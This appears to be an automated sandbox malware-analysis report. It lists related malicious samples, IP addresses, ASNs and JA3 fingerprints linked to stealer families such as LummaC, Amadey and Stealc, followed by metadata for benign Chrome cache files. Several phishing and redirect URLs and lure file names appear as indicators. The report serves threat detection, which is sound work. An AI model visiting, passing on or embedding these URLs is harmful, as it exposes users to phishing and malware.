cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC	Browse	172.67.155.248
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
s-part-0017.t-0009.t-msedge.net	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://nam.dcv.ms/WLtyQ3priB	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	http://itrack4.valuecommerce.ne.jp/cgi-bin/2366370/entry.php?vc_url=http://serviceoctopus.com	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
s-part-0032.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.60
	Portfolio Review _2024.html	Get hash	malicious	Unknown	Browse	13.107.246.60
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://www.google.ki/url?Obdy=o1RbVZ9nKE3ZhJRHbKGv&cgsr=bnJtdqeStbk73BcMC6fs&sa=t&wofc=4hzzg6rsjrHHZ2kN1m3A&url=amp%2Fplimmerton.org.nz%2Fjugz%2F#oetqVE-SUREDANNSmFtaWUuQmVsbEBlbGthbWV0LmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.38
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	20.75.106.146
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://52.113.191.172	Get hash	malicious	Unknown	Browse	52.113.191.172
CLOUDFLARENETUS	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	172.67.191.134
	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	104.21.20.51
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	188.114.96.3
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://usapress.info/inside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years/	Get hash	malicious	Unknown	Browse	141.101.120.10
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.38
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	52.146.76.30
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	20.75.106.146
	https://online-e.net/st-manager/click/track?id=795&type=raw&url=https://msc-mu.com/apikey-tyudqnhzdgevhdbasx/secure-redirect%23Darth.Vader%2BDeathStar.com&source_url=https%3A%2F%2Fonline-e.net%2Feven-if-even-though%2F&source_title=Even%20if%E3%81%A8Even%20though	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.101.168.44
	https://brand.site/896562718995127961820892	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	http://52.113.191.172	Get hash	malicious	Unknown	Browse	52.113.191.172
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://volunteeraudio.com	Get hash	malicious	Unknown	Browse	173.222.162.64
	Benefit Enrollment -wZ5nusm.pdf	Get hash	malicious	Unknown	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.64
	Customer forms.pdf	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://user.ecomab.cc	Get hash	malicious	Unknown	Browse	173.222.162.64
	217469812STM.pdf	Get hash	malicious	ScreenConnect Tool, Phisher	Browse	173.222.162.64
	file.exe	Get hash	malicious	LummaC	Browse	173.222.162.64
	file.exe	Get hash	malicious	Remcos	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Cryptbot, Stealc, Vidar	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	Document-v23-08-15.js	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	nested-phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	NTS_eTaxInvoice.html	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://usapress.info/inside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years/	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	https://l.facebook.com/l.php?u=https%3A%2F%2Fusapress.info%2Finside-the-last-words-of-dan-haggerty-aka-grizzly-adams-and-why-he-had-to-pull-the-plug-on-his-wife-of-20-years%2F%3Ffbclid%3DIwZXh0bgNhZW0CMTAAAR0r3IVxCUPtQPPqP5Ce0_adoAsiHgG3Oy1cYDq3k1JXBIrTGLtjToxlazM_aem_q02YsKkKY0QB_fm5suzUDw&h=AT1Xo_CkNlagO29_sds-m5zdTBZ6-H70m0J__7wjjmSNinwNGqBfRUFK3cH2zXJWNO7msrJPRkNulrkTmUCLkRNMcfCJTNK-cs4SfUQyRy7nw3vP1DNmFisBvlttaen8fHfi-N3lXN_BGQgdBw&__tn__=R%5D-R&c%5B0%5D=AT3euz91upHKeMVK8p24ktUFKClJ0GKt_3lJnV9tGakx0Tro3u7Ymk1z4tOG4eBZxcuD-Ny10eAla4iUyfdG04Fh4GryHwAMuELGG4dQctfWKiu4mfB-eLJ8Qktnq0ptzD_TaZEPEMHQnvP4W65jDpc-XBmWlMSmaRM-2soPhaPGYAODWegqP8h47S90Q2hmwQvQgUDdb35OgV1duzzqudMAyOk7e8E7mfpnrlwhIvWwUkK53AUNuPTqYkQ	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	http://blacksaltys.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
	http://volunteeraudio.com	Get hash	malicious	Unknown	Browse	20.109.210.53 184.28.90.27 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	https://s.id/sharedocument	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://trackru.top/us	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://www.google.ie/url?q=queryy8px(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2ftranscabrera.com%2fyaya%2f37w6telbuncxaji5ywvxeooxd1ok88ou67nhi/bWFyay5tY2tlbnppZUBtYWdlbGxhbmxwLmNvbQ==$?	Get hash	malicious	HTMLPhisher	Browse	40.113.103.199
	https://s.id/nelsi	Get hash	malicious	HTMLPhisher	Browse	40.113.103.199
	https://www.google.ie/url?q=querymmjx(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3Dquery(spellCorrectionEnabled%3Atrue%2CrecentSearchParam%3A(id%3A3891228890%2CdoLogHistory%3Atrue)%2Cfilters%3AList((type%3AREGION%2Cvalues%3AList((id%3A103644278%2Ctext%3AUnited%2520States%2CselectionType%3AINCLUDED))))%2Ckeywords%3Aremote)&sessionId=5NTcRf4wT3OOZdAOuNu6%2FQ%3D%3D&sa=t&url=amp%2fsafrareal.com.br%2fyoya%2fgrcbea7q6lbvpmruhnx3bojhvb2k6ojxdnvuw/Y3doaXRlQHdvcmxkZHJ5ZXIuY29t$?	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://ledger-checks.s3.us-east-1.amazonaws.com/index.html	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://t.ly/9nPyg	Get hash	malicious	Unknown	Browse	40.113.103.199
	Nota1893.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	Requerimento.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	Nota1893.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	QuarantineMessage.zip	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	xaSPJNbl.ps1	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and 